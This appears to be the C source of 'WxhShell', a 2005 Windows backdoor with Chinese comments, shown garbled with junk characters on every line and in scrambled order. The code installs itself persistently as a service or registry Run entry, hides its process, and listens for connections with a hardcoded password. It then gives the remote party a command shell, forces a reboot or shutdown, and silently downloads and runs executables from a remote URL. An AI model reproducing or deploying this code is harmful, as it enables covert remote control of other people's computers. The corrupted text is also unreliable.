    if(Boot(SHUTDOWN))  5 fY\0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fx(^}e  
    else { flDe*F^  
    closesocket(wsh); y33+^  
    ExitThread(0); <;< _f U  
    } 3qU#Rg ;7  
    break; ^vmT=f;TM  
    } ]4wyuP,up  
  // 获取shell <cm,U)j2  
  case 's': { :%cL(',Q  
    CmdShell(wsh); Y^$^B,  
    closesocket(wsh); &.D3f"  
    ExitThread(0); Qfx(+=|  
    break; |fnP@k  
  } D{g6M>,\  
  // 退出 aZEi|\VU  
  case 'x': { U/'"w v1y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }z:g}".4  
    CloseIt(wsh); Z ? `  
    break; Sn=|Q4ZN  
    } Lh.?G#EM  
  // 离开 spter35b[  
  case 'q': { ZD\`~I|gp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j]th6  
    closesocket(wsh); &TYTeJ]  
    WSACleanup(); _V\rs{ 5  
    exit(1); $/^DY&  
    break; d#E]>:w9  
        } KPO?eeT.WZ  
  } h.CbOI%Q  
  } dU%Q=r8R  
\|9@*]6:  
  // 提示信息 EUH&"8 L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W FVx7  
} *ub]M3O  
  } NFq&a i  
Gq%q x4  
  return; P__JN\{9  
} B1dVHz#  
L -z37kG^  
// shell模块句柄 3aIP^I1  
int CmdShell(SOCKET sock) mYLqT$t.+  
{ KW.*LoO  
STARTUPINFO si; \HX'^t`  
ZeroMemory(&si,sizeof(si)); q SR\=:$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y)iT-$bQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j\l9|vpp  
PROCESS_INFORMATION ProcessInfo; .^6;_s>FN  
char cmdline[]="cmd"; cojtQ D6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,#&\1Vxf  
  return 0; +>3XJlZV  
} S+(TRIjk  
:lj1[q:Y>  
// 自身启动模式 al>^}:  
int StartFromService(void) a@( 4X/|  
{ d%1Tv1={  
typedef struct 9))E\U  
{ xs+pCK|  
  DWORD ExitStatus; _'pow&w~  
  DWORD PebBaseAddress; AX6z4G  
  DWORD AffinityMask; $HVus=D"  
  DWORD BasePriority; x'IVP[xh`A  
  ULONG UniqueProcessId; 69#mj*p@+  
  ULONG InheritedFromUniqueProcessId; hBb&-/  
}   PROCESS_BASIC_INFORMATION; h| q!Qsnj'  
B*=m%NXf  
PROCNTQSIP NtQueryInformationProcess; v4M1uJ8  
=!}n .  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hM}rf6B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Cw&9cL9w  
i-1lppI  
  HANDLE             hProcess; 6)<g%bH!  
  PROCESS_BASIC_INFORMATION pbi; zTA+s 2  
Vl=!^T}l+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b(^gv  
  if(NULL == hInst ) return 0; JjBG9Rp{  
cuv?[ M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dn{ hU $*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +; /]'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^{z@=o<o  
Bw5zh1ALC;  
  if (!NtQueryInformationProcess) return 0; 9A|deETa-  
IE/F =Wr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TNwBnMe  
  if(!hProcess) return 0; 5/U|oZM"  
)6K Q"*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8?p40x$m%  
tG!ApL  
  CloseHandle(hProcess); 6T3uv,2  
O>8|Lc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -1\*}m%1e  
if(hProcess==NULL) return 0; ZR|)+W;  
z4qw*. 5  
HMODULE hMod; LJ^n6 m|_  
char procName[255]; Zp5;=8wa;  
unsigned long cbNeeded; #jY\l&E  
W lD cKY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f~U~f}Uw4  
um/2.Sn>  
  CloseHandle(hProcess); +|Tz<\.C  
Xr?(w(3  
if(strstr(procName,"services")) return 1; // 以服务启动 FE}!I  
PwF 1Pr`r  
  return 0; // 注册表启动 R$[nYw  
} c!,&]*h"k  
. X  (^E  
// 主模块 l/=2P_8+Z  
int StartWxhshell(LPSTR lpCmdLine) FG-v71!h#  
{ /g|H?F0  
  SOCKET wsl; E;$;g#ksf  
BOOL val=TRUE; OR{<)L  
  int port=0; qN5 ru2  
  struct sockaddr_in door; c~_nO d  
j@yK#==k  
  if(wscfg.ws_autoins) Install(); to}g4  
87QK&S\  
port=atoi(lpCmdLine); G9`;Z^<L  
<K^{36h  
if(port<=0) port=wscfg.ws_port; CV9o,rL  
RK7vR~kf<  
  WSADATA data; ~&zrDj~FI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GM1z@i\5  
,r=9$i_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H2f!c{t$p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YY! Lv:.7>  
  door.sin_family = AF_INET; *u?QO4>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #3b_ #+,  
  door.sin_port = htons(port); h=:*cqp4  
{ylY"FA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xiWP^dIF  
closesocket(wsl); K-_XdJ\  
return 1; D=B$ Pv9%  
} !ucHLo3:  
>GbCRN~  
  if(listen(wsl,2) == INVALID_SOCKET) { Dd:TFZo  
closesocket(wsl); *3uBS2Ld  
return 1; E{LLxGAEZ  
} 4AIo,{(  
  Wxhshell(wsl); \wJ2>Q  
  WSACleanup(); _H,xnh#nZ  
fwkklg^  
return 0; {V8yJ{.G  
#9( 0.!v  
} &:>3tFQSH  
2HNAB4 E  
// 以NT服务方式启动 (6y[,lYH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uwL^Tq}Yh  
{ }?\8%hK"a7  
DWORD   status = 0; %>z4hH,  
  DWORD   specificError = 0xfffffff; GiZv0>*x  
|)Q#U$ m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m{ wk0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N$!aP/b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y ;\m1o2  
  serviceStatus.dwWin32ExitCode     = 0; "jUM}@q5  
  serviceStatus.dwServiceSpecificExitCode = 0; Q!91uNL  
  serviceStatus.dwCheckPoint       = 0; 6>yfm4o  
  serviceStatus.dwWaitHint       = 0; ]+"25V'L  
a-cLy*W,~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '%H\ k5^  
  if (hServiceStatusHandle==0) return; g3Xa b  
3)6TnY/u6{  
status = GetLastError(); +HXR ))X  
  if (status!=NO_ERROR) j`D%Wx_  
{ o]@Mg5(8Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wHR# -g'  
    serviceStatus.dwCheckPoint       = 0; f}!Eu  
    serviceStatus.dwWaitHint       = 0; |zkZF|-  
    serviceStatus.dwWin32ExitCode     = status; [ ,&O  
    serviceStatus.dwServiceSpecificExitCode = specificError; O x),jc[/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8v ZY+Q >  
    return; anzt;V.;Y  
  } vG{lxPIj  
G%HuB5:u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R1/h<I:  
  serviceStatus.dwCheckPoint       = 0; "c5bz  
  serviceStatus.dwWaitHint       = 0; D}MCVNd^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W=S<DtG2  
} W]CsKN,K  
<k'%rz  
// 处理NT服务事件,比如:启动、停止 4Zn"K}q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?;YymD_  
{ ubQbEv{(,  
switch(fdwControl) +V` *  
{ 9 WO|g[Y3  
case SERVICE_CONTROL_STOP: Q H 57[Yg  
  serviceStatus.dwWin32ExitCode = 0; c gOkm}h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L)z`  
  serviceStatus.dwCheckPoint   = 0; YApm)O={  
  serviceStatus.dwWaitHint     = 0; SjL&\),  
  { A-&XgOL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T!%J x.^  
  } y,xJ5BI$  
  return; P#l"`C /  
case SERVICE_CONTROL_PAUSE: BW x=Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XQPlhpcv  
  break; _'0C70  
case SERVICE_CONTROL_CONTINUE: pGdFeEkB/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @~CXnc0  
  break; l<)k`lrMX4  
case SERVICE_CONTROL_INTERROGATE: I /z`)  
  break; l 2ARM3"  
}; UJiy] y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <<Q}|$Wu  
} 60#eTo?}o  
HZ[.,DuW  
// 标准应用程序主函数 IwVdx^9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =k]2 Ad  
{ IBz)3gj J  
DS|q(O=7~t  
// 获取操作系统版本 E<[ Y KY  
OsIsNt=GetOsVer(); f;=<$Y>i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eXAJ%^iD  
vLs*}+f  
  // 从命令行安装 NHQi_U  
  if(strpbrk(lpCmdLine,"iI")) Install(); rHp2I6.0a  
Bp-e< :  
  // 下载执行文件 BMO&(g  
if(wscfg.ws_downexe) { -oT3`d3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hf\/2Vl  
  WinExec(wscfg.ws_filenam,SW_HIDE); F EA t6  
} w_P2\B^  
a];1)zVA6  
if(!OsIsNt) { O?t49=uB}  
// 如果时win9x,隐藏进程并且设置为注册表启动 1<;VD0XX  
HideProc(); Vr:`?V9Q2(  
StartWxhshell(lpCmdLine); -sxu7I  
} im@QJ :  
else /RI"a^&9A  
  if(StartFromService()) w/e?K4   
  // 以服务方式启动 :[&QoEZW  
  StartServiceCtrlDispatcher(DispatchTable); `>& K=C?  
else 8osP$"/o  
  // 普通方式启动 snYyxi  
  StartWxhshell(lpCmdLine); #A&49a3^1  
oFKTBH:I  
return 0; xri(j,mU  
} .q<5OE(f  
6x;!E&<  
i`w)dS  
>U)>~SQf  
=========================================== PlR$s  
~;}uYJ  
89j*uT  
1<Vke$   
^Rh}[  
z @?WhD  
" ^<3{0g-"AW  
]wwNmmE  
#include <stdio.h> +ryB*nT  
#include <string.h> jLn|zK  
#include <windows.h> (aLjW=  
#include <winsock2.h> _ glB<r$  
#include <winsvc.h> LIll@2[  
#include <urlmon.h> HWFL u  
LqLhZBU9  
#pragma comment (lib, "Ws2_32.lib") A 8g_BLj!e  
#pragma comment (lib, "urlmon.lib") \U<d)j/  
n#sK31;yb  
#define MAX_USER   100 // 最大客户端连接数 &3Lhb}m  
#define BUF_SOCK   200 // sock buffer )J?8"+_Y  
#define KEY_BUFF   255 // 输入 buffer P(!%Pp  
,H_d#Koa.  
#define REBOOT     0   // 重启 \Hw*q|  
#define SHUTDOWN   1   // 关机 MDBqIL]Hc  
$/ g<h  
#define DEF_PORT   5000 // 监听端口 sR^b_/ElxT  
KquuM ]5S  
#define REG_LEN     16   // 注册表键长度 'e_e*.z3  
#define SVC_LEN     80   // NT服务名长度 w '9!%mr  
!>f:wk2  
// 从dll定义API Pif-uhOk%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4"UH~A;^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }a;H2&bu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y t7>,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z<%dWz  
bVzJOBe  
// wxhshell配置信息 T[<554  
struct WSCFG { }$[@*  
  int ws_port;         // 监听端口 G7i0P j  
  char ws_passstr[REG_LEN]; // 口令 I>q!co9n  
  int ws_autoins;       // 安装标记, 1=yes 0=no .<Ays?  
  char ws_regname[REG_LEN]; // 注册表键名 hiv {A9a?  
  char ws_svcname[REG_LEN]; // 服务名 mDk6@Gd@U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qMoo#UX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;NQ}c"9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d|8-#.gV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u}P:9u&h6X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oF a,IA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GQjwr(  
XMz*}B6GQ  
}; @6Lp $w  
|bhv7(_  
// default Wxhshell configuration g W_E  
struct WSCFG wscfg={DEF_PORT, ohs`[U=%~  
    "xuhuanlingzhe", JTObyAoW  
    1, e tL?UF$  
    "Wxhshell", (BngwLVDK  
    "Wxhshell", @n=&muC}  
            "WxhShell Service", X,Rl&K\b"  
    "Wrsky Windows CmdShell Service", + )z5ai0m  
    "Please Input Your Password: ", j5og}P q:  
  1, q<Qjc  
  "http://www.wrsky.com/wxhshell.exe", HAo=t  
  "Wxhshell.exe" w`D$W&3>  
    }; 6(x53 y__  
o5sw]R5  
// 消息定义模块 =qbN?a/?2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ya> AI.!K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )Gk?x$pY@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \B:k|Pw6~  
char *msg_ws_ext="\n\rExit."; G B,O  
char *msg_ws_end="\n\rQuit."; eo@8?>}{X  
char *msg_ws_boot="\n\rReboot..."; NpCQ4 K  
char *msg_ws_poff="\n\rShutdown..."; d`C$vj  
char *msg_ws_down="\n\rSave to "; X|/RV4x@Cq  
*]}F=dtR k  
char *msg_ws_err="\n\rErr!"; cr|]\  
char *msg_ws_ok="\n\rOK!"; ?6>*mdpl  
gz~ug35  
char ExeFile[MAX_PATH]; +v'2s@e` #  
int nUser = 0; 4[&&E7]EX  
HANDLE handles[MAX_USER]; wt;`_}g  
int OsIsNt; GY.iCub  
s diWQv  
SERVICE_STATUS       serviceStatus; 23Dld+E&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )Vrp<"v  
q@~{ g[   
// 函数声明 cN FHbMd  
int Install(void); ylb)SXBf  
int Uninstall(void); H "5,To  
int DownloadFile(char *sURL, SOCKET wsh); +> d;%K  
int Boot(int flag); ZHUW1:qs  
void HideProc(void); SSTn |  
int GetOsVer(void); <L11s%5-  
int Wxhshell(SOCKET wsl); `p1B58deC  
void TalkWithClient(void *cs); sa _J6~  
int CmdShell(SOCKET sock); Q'!'+;&%  
int StartFromService(void); lrwQ >N  
int StartWxhshell(LPSTR lpCmdLine); + !" Y C  
e M5-v-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P;-.\VRu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \jV2":[% c  
Q`6hJgyL  
// 数据结构和表定义 ),y`Iw  
SERVICE_TABLE_ENTRY DispatchTable[] = _L` uC jA  
{ BOR$R}q  
{wscfg.ws_svcname, NTServiceMain}, "EA =auN{  
{NULL, NULL} !syyOfu`}  
}; Ayv:Pv@  
avM8-&h  
// 自我安装 wq,&0P-v  
int Install(void) L+T'TC:  
{ e=p_qhBt  
  char svExeFile[MAX_PATH]; B u%%O8  
  HKEY key; )V+/@4  
  strcpy(svExeFile,ExeFile); 4}t&yu<P>  
K7.ayM 0  
// 如果是win9x系统,修改注册表设为自启动 2hso6Oy/v{  
if(!OsIsNt) { {O).!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B2*>7 kc_s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r..f$FF)\  
  RegCloseKey(key); wtfH3v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -sdzA6dp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S.`hl/  
  RegCloseKey(key); f*88k='\W  
  return 0; iPY)Ew`Im  
    } BzH0"xq^  
  } Z__fwv.X[  
} Rq e|7/As  
else { ^'du@XCf}  
u|.|dv'mbp  
// 如果是NT以上系统,安装为系统服务 ^!i4d))  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,quUGS  
if (schSCManager!=0) +4Wl  
{ ?azLaAG  
  SC_HANDLE schService = CreateService a5O$he  
  ( vXwMo4F*  
  schSCManager, UWhHzLcXh  
  wscfg.ws_svcname, AS:k&t  
  wscfg.ws_svcdisp, :w Y%=  
  SERVICE_ALL_ACCESS, N?#L{Yt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6vxRam6[??  
  SERVICE_AUTO_START, E BoC,{R#  
  SERVICE_ERROR_NORMAL, ,' t&L]  
  svExeFile, xh CQ Rw  
  NULL, q[W@.[2y)  
  NULL, } _];yw  
  NULL, xXI WEZA  
  NULL, ]9'F<T= $_  
  NULL &e3}Vop  
  ); !>!jLZ0  
  if (schService!=0) '/Vm[L$d  
  { =B'Yx  
  CloseServiceHandle(schService); IG;= |  
  CloseServiceHandle(schSCManager); _8-1wx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B-L@ 0gH  
  strcat(svExeFile,wscfg.ws_svcname); 'qo(GGC M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %}-ogi/c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Jn.rX0}$  
  RegCloseKey(key); 'Z,7{U1P  
  return 0; /#"9!8%V  
    } pNuU{:9 B0  
  } fpjFO&ML  
  CloseServiceHandle(schSCManager); n!~QC  
} .#a7?LUH  
} QkTU@T6>o  
)@y'$)5s  
return 1; z Z~t ,>  
} P@n rcgM.  
N!v>2"x8q  
// 自我卸载 2v4&'C  
int Uninstall(void) W$l4@A  
{ VC Ay~,  
  HKEY key; (r'NB  
'&gUAt  
if(!OsIsNt) { [Q6$$z92Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G%i&C)jZ  
  RegDeleteValue(key,wscfg.ws_regname); 8(A k  
  RegCloseKey(key); }095U(@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YY7dw:>e/  
  RegDeleteValue(key,wscfg.ws_regname); i1b3>H*3  
  RegCloseKey(key); KM^}d$x}s  
  return 0; ,g|ht%"  
  } %)^0NQv  
} 6OQ\f,h@  
} ^Ga_wJP8S  
else { -A:'D8o#f  
HC>k/Gk"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (\%+id|/q@  
if (schSCManager!=0) G"vEtNoV  
{ w#bdb;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '$ G%HUn  
  if (schService!=0) T0\[": A  
  { xFp9H'j{  
  if(DeleteService(schService)!=0) { *s2 C+@ef  
  CloseServiceHandle(schService); 1ahb:Mjv  
  CloseServiceHandle(schSCManager); ZQ_~ L!ot  
  return 0; IY2f$YV  
  } sP8_Y,  
  CloseServiceHandle(schService); @Hp=xC9V  
  } j2n 4; m  
  CloseServiceHandle(schSCManager); J+hifO  
} X%B2xQM 5  
} ^c sOXP=Yp  
8{CBWXo$)  
return 1; pSpxd |k  
} zfGr1;  
HuD~(CI.  
// 从指定url下载文件 u)P)r,  
int DownloadFile(char *sURL, SOCKET wsh) [{+ZQd  
{ 6" . v6  
  HRESULT hr; >LEp EMJ\  
char seps[]= "/"; %-NG eN8  
char *token; !/e8x;_  
char *file; L7.LFWq$S  
char myURL[MAX_PATH]; Lez]{%+.`[  
char myFILE[MAX_PATH]; )Vx C v  
|c,'0V,"cH  
strcpy(myURL,sURL); xn7bb[g;  
  token=strtok(myURL,seps); x^UAtKSy  
  while(token!=NULL) #~qY%X  
  { byj7c(  
    file=token; #j"N5e}U  
  token=strtok(NULL,seps); Ng1[y4R}  
  } M j |"+(  
62/tg*)  
GetCurrentDirectory(MAX_PATH,myFILE); sH)40QmO{  
strcat(myFILE, "\\"); 5U JMiwP{  
strcat(myFILE, file); mC`U"rlK~  
  send(wsh,myFILE,strlen(myFILE),0); +r__>V,  
send(wsh,"...",3,0); 4p`z%U~=u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,#80`&\%  
  if(hr==S_OK) 8d\/  
return 0; 6 Zv~c(   
else t3aDDu  
return 1; &uu69)u  
j|(bdTZY:  
} Kdd5ysTQ  
xy<)zKp  
// 系统电源模块 [~IFg~*,  
int Boot(int flag) _VAX~Y]  
{ fmk(}  
  HANDLE hToken; ^9*Jz{e  
  TOKEN_PRIVILEGES tkp; |K$EULzz  
@?<1~/sfL  
  if(OsIsNt) { 17;qJ_T)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EcmyY,w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IgtTYxI  
    tkp.PrivilegeCount = 1; =doOt 7Rj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l#%G~c8x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @RVj~J.A  
if(flag==REBOOT) { ^o6&|q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F%e5j9X`  
  return 0; U~[ tp1Z)  
} WEB enGQ  
else { V']1j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TY *q[AWG  
  return 0; I)cA:Ip  
} 1jQlwT(:  
  } Z"g6z#L&  
  else { 23[XmBf  
if(flag==REBOOT) { {'eF;!!Dy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W&Gt^5  
  return 0; S?LUSb  
} @ Yzj  
else { #_[W*-|L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .2:S0=xt<  
  return 0; F6 c1YI[  
} ]k.'~ Syz  
} pj9s=}1 '  
#`{L_n$c  
return 1; 5!^DKyw:  
} :~+m9r  
-axV;+"b  
// win9x进程隐藏模块 B< BS>(Nr>  
void HideProc(void) M-+= t8  
{ XP!7@:  
DFFB:<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W8{zV_TBm  
  if ( hKernel != NULL ) nvnJVkL9s  
  { >^hy@m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  #mcU);s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); # ^oF^!  
    FreeLibrary(hKernel); TdH~ sz  
  } 8 |iMD1  
GLIP;)h1  
return; G`r*)pdm  
} @s/0 .7  
JqmKD4p  
// 获取操作系统版本 j>t*k!db  
int GetOsVer(void) |Zrkk>GW:  
{ |;6l1]hk6  
  OSVERSIONINFO winfo; P",E/beV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :Y;\1J<b1  
  GetVersionEx(&winfo); vs~lyM/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eEG]JH  
  return 1; Co#_Cyxg=9  
  else '}q1 F<&  
  return 0; k|c=O6GO  
} Tx'ctd#Y  
_z3YB  
// 客户端句柄模块 ^  M4-O~  
int Wxhshell(SOCKET wsl) oPA [vY  
{ h*GU7<F:a  
  SOCKET wsh; T{%'"mm;  
  struct sockaddr_in client; @)YQiE$  
  DWORD myID; .xp|w^  
\7Fkeo+  
  while(nUser<MAX_USER) a:3f>0_t  
{ Ma`Goi\vFk  
  int nSize=sizeof(client); )bG d++2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1"82JN|!  
  if(wsh==INVALID_SOCKET) return 1; JrdH6Zg  
*jF VYg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BsX# ~  
if(handles[nUser]==0) nE)|6  
  closesocket(wsh); 4{r_EV[(  
else ~t~5ctJ@  
  nUser++; t[ZumQ@HC  
  } An%V>a-[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hoQ?8}r:  
p3NTI/-  
  return 0;  Dy[ YL  
} |e@Bi#M[  
i Y2%_b!5  
// 关闭 socket +RO=a_AS  
void CloseIt(SOCKET wsh) y=jTS  
{ S0ct;CS  
closesocket(wsh); ^8V cm*  
nUser--; Z)U#5|sf  
ExitThread(0); o\luE{H .?  
} 'd"\h#  
nAp7X-t  
// 客户端请求句柄 !\NKu1ta  
void TalkWithClient(void *cs) Mlpq2I_x  
{ cg,_nG]i  
"Jp6EL%  
  SOCKET wsh=(SOCKET)cs; |7CH  
  char pwd[SVC_LEN]; CDcs~PR@B  
  char cmd[KEY_BUFF]; i`g>Y5   
char chr[1]; \4SFD 3$&  
int i,j; rwxJR@Ttn  
JHf}LZu  
  while (nUser < MAX_USER) { Z v=p0xH  
e;=G|E  
if(wscfg.ws_passstr) { Hc@Z7eQ3^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P-~Avb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |yI?}zyR  
  //ZeroMemory(pwd,KEY_BUFF); 9tS& $-  
      i=0; ubhem(p#  
  while(i<SVC_LEN) { fxLhVJ"b  
EMH?z2iGd  
  // 设置超时 (D8'qx-M  
  fd_set FdRead; p;n)YY$  
  struct timeval TimeOut; {kJ[)7  
  FD_ZERO(&FdRead); 0nAeeVz|  
  FD_SET(wsh,&FdRead); 'q[V*4g  
  TimeOut.tv_sec=8; ji( S ?^  
  TimeOut.tv_usec=0; RWBmQg^]X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r _r$nl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JoZC+G  
E"Xi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?NI)3-l  
  pwd=chr[0]; 4PUM.%  
  if(chr[0]==0xd || chr[0]==0xa) { i=2+1 ;K  
  pwd=0; vS<;:3  
  break; RpLm'~N'  
  } oRu S_X  
  i++; PJ Air8  
    } kX1hcAa  
)KRO=~Y  
  // 如果是非法用户,关闭 socket fWm;cDM H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n?,fF(  
} kd \G>  
g6W.Gl"5\w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uR"]w7=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); . ~|^du<X  
u gfV'  
while(1) { N&>D/Z;"  
K0I-7/L  
  ZeroMemory(cmd,KEY_BUFF); <E\BKC%M  
w-nkf M~  
      // 自动支持客户端 telnet标准   |E7]69=P  
  j=0; 9J]LV'f7  
  while(j<KEY_BUFF) { NM]6  o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nj9hRiL n  
  cmd[j]=chr[0]; \W@?revK  
  if(chr[0]==0xa || chr[0]==0xd) { i&LbSxUh9  
  cmd[j]=0; 9)YG)A~<  
  break; +vbNZqwz  
  } n6uobo-  
  j++; Ta[}k/zW  
    } P7Y[?='v  
ng 6G<hi  
  // 下载文件 0^[$0]Mt[  
  if(strstr(cmd,"http://")) { Sdt @"6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yz+r @I5  
  if(DownloadFile(cmd,wsh)) OIWo* %  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6% ,Q  
  else oD}I{&=wa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ):[[Ch_  
  } O>>8%=5Q  
  else { l;;:3:  
p{U8z\  
    switch(cmd[0]) { G37_ `C  
  {"y 6l  
  // 帮助 }gn0bCJy  
  case '?': { IWQ8e$N  
